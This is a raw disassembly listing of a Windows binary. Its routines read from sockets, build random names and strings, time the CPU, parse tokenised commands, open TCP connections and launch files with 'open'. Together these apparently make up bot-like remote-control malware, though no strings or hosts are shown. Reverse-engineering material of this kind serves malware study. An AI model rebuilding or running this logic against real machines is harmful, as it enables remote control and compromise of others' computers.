sub_41B550	proc near		; CODE XREF: sub_40167Cj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B660
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B660
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401488
		mov	ebp, dword_50F8D0
		test	al, al
		jnz	short loc_41B5B3


loc_41B589:				; CODE XREF: sub_41B550+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B64F
		mov	al, byte_4E6E34
		test	al, al
		jz	short loc_41B5B3
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401488
		test	al, al
		jz	short loc_41B589


loc_41B5B3:				; CODE XREF: sub_41B550+37j
					; sub_41B550+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B64F


loc_41B5BE:				; CODE XREF: sub_41B550+F9j
		mov	al, byte_4E6E34
		test	al, al
		jz	loc_41B64F
		test	esi, esi
		jnz	short loc_41B5EE
		push	80Eh
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B5EA
		push	esi
		mov	ecx, eax
		call	sub_401C35
		jmp	short loc_41B5EC
; ---------------------------------------------------------------------------


loc_41B5EA:				; CODE XREF: sub_41B550+8Ej
		xor	eax, eax


loc_41B5EC:				; CODE XREF: sub_41B550+98j
		mov	esi, eax


loc_41B5EE:				; CODE XREF: sub_41B550+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B81
		test	al, al
		jnz	short loc_41B607
		push	7D0h
		call	ebp
		jmp	short loc_41B644
; ---------------------------------------------------------------------------


loc_41B607:				; CODE XREF: sub_41B550+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_401893
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B644
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B644:				; CODE XREF: sub_41B550+B5j
					; sub_41B550+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B5BE


loc_41B64F:				; CODE XREF: sub_41B550+3Ej
					; sub_41B550+68j ...
		mov	ecx, ebx
		call	sub_4014DD
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B660:				; CODE XREF: sub_41B550+Bj
					; sub_41B550+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B550	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B6C0:				; CODE XREF: ___:00401C21j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B735
		mov	esi, ebp


loc_41B6DF:				; CODE XREF: ___:0041B733j
		cmp	esi, ebx
		jz	short loc_41B735
		cmp	[esp+18h], bl
		jz	short loc_41B735
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		cmp	eax, ebx
		jz	short loc_41B744
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B744
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_41B73D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B720
		cmp	al, 0Dh
		jz	short loc_41B720
		cmp	al, bl
		jnz	short loc_41B728


loc_41B720:				; CODE XREF: ___:0041B716j
					; ___:0041B71Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B728:				; CODE XREF: ___:0041B71Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B6DF


loc_41B735:				; CODE XREF: ___:0041B6DBj
					; ___:0041B6E1j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B73D:				; CODE XREF: ___:0041B70Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B744:				; CODE XREF: ___:0041B6FAj
					; ___:0041B6FFj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B780	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B7EA
		mov	edi, ebp


loc_41B79F:				; CODE XREF: sub_41B780+68j
		cmp	edi, ebx
		jz	short loc_41B7EA
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B7EA
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		test	eax, eax
		jz	short loc_41B7F9
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B7CA
		cmp	al, bl
		jnz	short loc_41B7DD


loc_41B7CA:				; CODE XREF: sub_41B780+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B7D7
		mov	[esi+ebp-1], bl
		jmp	short loc_41B7D9
; ---------------------------------------------------------------------------


loc_41B7D7:				; CODE XREF: sub_41B780+4Fj
		mov	[edi], bl


loc_41B7D9:				; CODE XREF: sub_41B780+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B7DD:				; CODE XREF: sub_41B780+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B79F


loc_41B7EA:				; CODE XREF: sub_41B780+1Bj
					; sub_41B780+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B7F9:				; CODE XREF: sub_41B780+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B780	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B820:				; CODE XREF: ___:00401ADCj
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B87B


loc_41B846:				; CODE XREF: ___:0041B879j
		push	3
		push	1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B867
		dec	eax
		jz	short loc_41B861
		dec	eax
		jnz	short loc_41B876
		push	7Ah
		push	61h
		jmp	short loc_41B86B
; ---------------------------------------------------------------------------


loc_41B861:				; CODE XREF: ___:0041B856j
		push	5Ah
		push	41h
		jmp	short loc_41B86B
; ---------------------------------------------------------------------------


loc_41B867:				; CODE XREF: ___:0041B853j
		push	39h
		push	30h


loc_41B86B:				; CODE XREF: ___:0041B85Fj
					; ___:0041B865j
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B876:				; CODE XREF: ___:0041B859j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B846


loc_41B87B:				; CODE XREF: ___:0041B844j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B8A0	proc near		; CODE XREF: sub_40141Aj
		rdtsc
		retn
sub_41B8A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B8C0	proc near		; CODE XREF: sub_4017F3j

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_50F8D0
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B8CF:				; CODE XREF: sub_41B8C0+43j
					; sub_41B8C0+4Dj
		call	sub_40141A
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_40141A
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_436A00
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_436A00
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B8CF
		jb	short loc_41B90F
		cmp	esi, 0F4240h
		ja	short loc_41B8CF


loc_41B90F:				; CODE XREF: sub_41B8C0+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_436980
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B999
		jb	short loc_41B92F
		cmp	ecx, 50h
		jnb	short loc_41B938


loc_41B92F:				; CODE XREF: sub_41B8C0+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B938:				; CODE XREF: sub_41B8C0+6Dj
		cmp	edx, ebp
		ja	short loc_41B999
		jb	short loc_41B943
		cmp	ecx, 47h
		jnb	short loc_41B94C


loc_41B943:				; CODE XREF: sub_41B8C0+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B94C:				; CODE XREF: sub_41B8C0+81j
		cmp	edx, ebp
		ja	short loc_41B999
		jb	short loc_41B957
		cmp	ecx, 37h
		jnb	short loc_41B960


loc_41B957:				; CODE XREF: sub_41B8C0+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B960:				; CODE XREF: sub_41B8C0+95j
		cmp	edx, ebp
		ja	short loc_41B999
		jb	short loc_41B96B
		cmp	ecx, 26h
		jnb	short loc_41B974


loc_41B96B:				; CODE XREF: sub_41B8C0+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B974:				; CODE XREF: sub_41B8C0+A9j
		cmp	edx, ebp
		ja	short loc_41B999
		jb	short loc_41B97F
		cmp	ecx, 1Eh
		jnb	short loc_41B988


loc_41B97F:				; CODE XREF: sub_41B8C0+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B988:				; CODE XREF: sub_41B8C0+BDj
		cmp	edx, ebp
		ja	short loc_41B999
		jb	short loc_41B993
		cmp	ecx, 0Ah
		jnb	short loc_41B999


loc_41B993:				; CODE XREF: sub_41B8C0+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B999:				; CODE XREF: sub_41B8C0+66j
					; sub_41B8C0+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B8C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B9F0	proc near		; CODE XREF: sub_402022j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41B9F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_447719
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BB4F
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_401424
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C5D
		mov	ebp, eax
		call	sub_401EEC
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013D9
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		nop
		call	near ptr 2841075h
		test	eax, eax
		jnz	short loc_41BA86
		mov	edi, offset byte_446F20
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41BA86:				; CODE XREF: sub_41B9F0+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41BA8F:				; CODE XREF: sub_41B9F0+A9j
		cmp	ecx, eax
		jnz	short loc_41BA95
		mov	bl, 1


loc_41BA95:				; CODE XREF: sub_41B9F0+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41BA8F
		mov	eax, 61h


loc_41BAA0:				; CODE XREF: sub_41B9F0+BAj
		cmp	ecx, eax
		jnz	short loc_41BAA6
		mov	bl, 1


loc_41BAA6:				; CODE XREF: sub_41B9F0+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BAA0
		test	bl, bl
		jnz	short loc_41BAD2
		mov	edi, offset byte_446F20
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BAD2:				; CODE XREF: sub_41B9F0+BEj
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BB4F:				; CODE XREF: sub_41B9F0+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_401424
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		nop
		call	near ptr 2820861h
		push	eax
		nop
		call	near ptr 77C371BCh
		mov	edi, dword_50FABC
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015D7
		test	esi, esi
		jle	short loc_41BBEE


loc_41BB98:				; CODE XREF: sub_41B9F0+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_401424
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FBE
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_443E3C
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BB98


loc_41BBEE:				; CODE XREF: sub_41B9F0+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41B9F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BCC0:				; CODE XREF: ___:00401569j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BCCF
		cmp	al, 9
		jz	short loc_41BCCF
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BCCF:				; CODE XREF: ___:0041BCC6j
					; ___:0041BCCAj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BCF0:				; CODE XREF: ___:00401ED8j
		mov	eax, [esp+4]
		push	offset dword_443E44
		push	eax
		nop
		call	near ptr 77C3F010h
		add	esp, 8
		test	eax, eax
		jz	short loc_41BD14
		push	eax
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BD14:				; CODE XREF: ___:0041BD05j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BD30	proc near		; CODE XREF: sub_401479j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BF8E
		mov	esi, offset byte_446F20
		mov	eax, edi


loc_41BD4A:				; CODE XREF: sub_41BD30+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BD72
		test	cl, cl
		jz	short loc_41BD6E
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BD72
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BD4A


loc_41BD6E:				; CODE XREF: sub_41BD30+26j
		xor	eax, eax
		jmp	short loc_41BD77
; ---------------------------------------------------------------------------


loc_41BD72:				; CODE XREF: sub_41BD30+22j
					; sub_41BD30+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BD77:				; CODE XREF: sub_41BD30+40j
		test	eax, eax
		jz	loc_41BF8E
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	edi, dword_50FAF4
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_4437F8
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BF8E
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BDB7:				; CODE XREF: sub_41BD30+A4j
		push	offset dword_4437F8
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BF8E
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BDB7
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_443E60
		mov	eax, ebp


loc_41BDE1:				; CODE XREF: sub_41BD30+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE09
		test	dl, dl
		jz	short loc_41BE05
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE09
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BDE1


loc_41BE05:				; CODE XREF: sub_41BD30+BDj
		xor	eax, eax
		jmp	short loc_41BE0E
; ---------------------------------------------------------------------------


loc_41BE09:				; CODE XREF: sub_41BD30+B9j
					; sub_41BD30+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BE0E:				; CODE XREF: sub_41BD30+D7j
		test	eax, eax
		jnz	short loc_41BE1C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE1C:				; CODE XREF: sub_41BD30+E0j
		mov	esi, offset dword_443E5C
		mov	eax, ebp


loc_41BE23:				; CODE XREF: sub_41BD30+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE4B
		test	dl, dl
		jz	short loc_41BE47
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE4B
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE23


loc_41BE47:				; CODE XREF: sub_41BD30+FFj
		xor	eax, eax
		jmp	short loc_41BE50
; ---------------------------------------------------------------------------


loc_41BE4B:				; CODE XREF: sub_41BD30+FBj
					; sub_41BD30+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BE50:				; CODE XREF: sub_41BD30+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BE9A
		mov	esi, offset dword_443E58
		mov	edx, edi


loc_41BE5F:				; CODE XREF: sub_41BD30+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE87
		test	bl, bl
		jz	short loc_41BE83
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE87
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE5F


loc_41BE83:				; CODE XREF: sub_41BD30+13Bj
		xor	edx, edx
		jmp	short loc_41BE8C
; ---------------------------------------------------------------------------


loc_41BE87:				; CODE XREF: sub_41BD30+137j
					; sub_41BD30+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE8C:				; CODE XREF: sub_41BD30+155j
		test	edx, edx
		jnz	short loc_41BE9A
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE9A:				; CODE XREF: sub_41BD30+126j
					; sub_41BD30+15Ej
		mov	esi, offset dword_443E54
		mov	edx, ebp


loc_41BEA1:				; CODE XREF: sub_41BD30+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BEC9
		test	bl, bl
		jz	short loc_41BEC5
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BEC9
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BEA1


loc_41BEC5:				; CODE XREF: sub_41BD30+17Dj
		xor	edx, edx
		jmp	short loc_41BECE
; ---------------------------------------------------------------------------


loc_41BEC9:				; CODE XREF: sub_41BD30+179j
					; sub_41BD30+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BECE:				; CODE XREF: sub_41BD30+197j
		test	edx, edx
		jnz	short loc_41BF14
		mov	esi, offset dword_443E50
		mov	edx, edi


loc_41BED9:				; CODE XREF: sub_41BD30+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF01
		test	bl, bl
		jz	short loc_41BEFD
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF01
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BED9


loc_41BEFD:				; CODE XREF: sub_41BD30+1B5j
		xor	edx, edx
		jmp	short loc_41BF06
; ---------------------------------------------------------------------------


loc_41BF01:				; CODE XREF: sub_41BD30+1B1j
					; sub_41BD30+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF06:				; CODE XREF: sub_41BD30+1CFj
		test	edx, edx
		jnz	short loc_41BF14
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BD30+1A0j
					; sub_41BD30+1D8j
		mov	esi, offset dword_443E4C
		mov	ecx, ebp


loc_41BF1B:				; CODE XREF: sub_41BD30+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BF43
		test	dl, dl
		jz	short loc_41BF3F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BF43
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BF1B


loc_41BF3F:				; CODE XREF: sub_41BD30+1F7j
		xor	ecx, ecx
		jmp	short loc_41BF48
; ---------------------------------------------------------------------------


loc_41BF43:				; CODE XREF: sub_41BD30+1F3j
					; sub_41BD30+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BF48:				; CODE XREF: sub_41BD30+211j
		test	ecx, ecx
		jnz	short loc_41BF8E
		mov	esi, offset dword_443E48
		mov	eax, edi


loc_41BF53:				; CODE XREF: sub_41BD30+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BF7B
		test	cl, cl
		jz	short loc_41BF77
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BF7B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BF53


loc_41BF77:				; CODE XREF: sub_41BD30+22Fj
		xor	eax, eax
		jmp	short loc_41BF80
; ---------------------------------------------------------------------------


loc_41BF7B:				; CODE XREF: sub_41BD30+22Bj
					; sub_41BD30+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BF80:				; CODE XREF: sub_41BD30+249j
		test	eax, eax
		jnz	short loc_41BF8E
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BF8E:				; CODE XREF: sub_41BD30+Dj
					; sub_41BD30+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BD30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C040	proc near		; CODE XREF: sub_402004j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C0A8
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C0A8
		mov	eax, [esp+18h+arg_0]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	short loc_41C099
		mov	bl, 1


loc_41C099:				; CODE XREF: sub_41C040+55j
		push	esi
		nop
		call	near ptr 71AB9639h
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C0A8:				; CODE XREF: sub_41C040+18j
					; sub_41C040+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41C040	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C0D0	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		cmp	eax, 20h
		setnl	al
		retn
sub_41C0D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C110	proc near		; CODE XREF: sub_402149j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
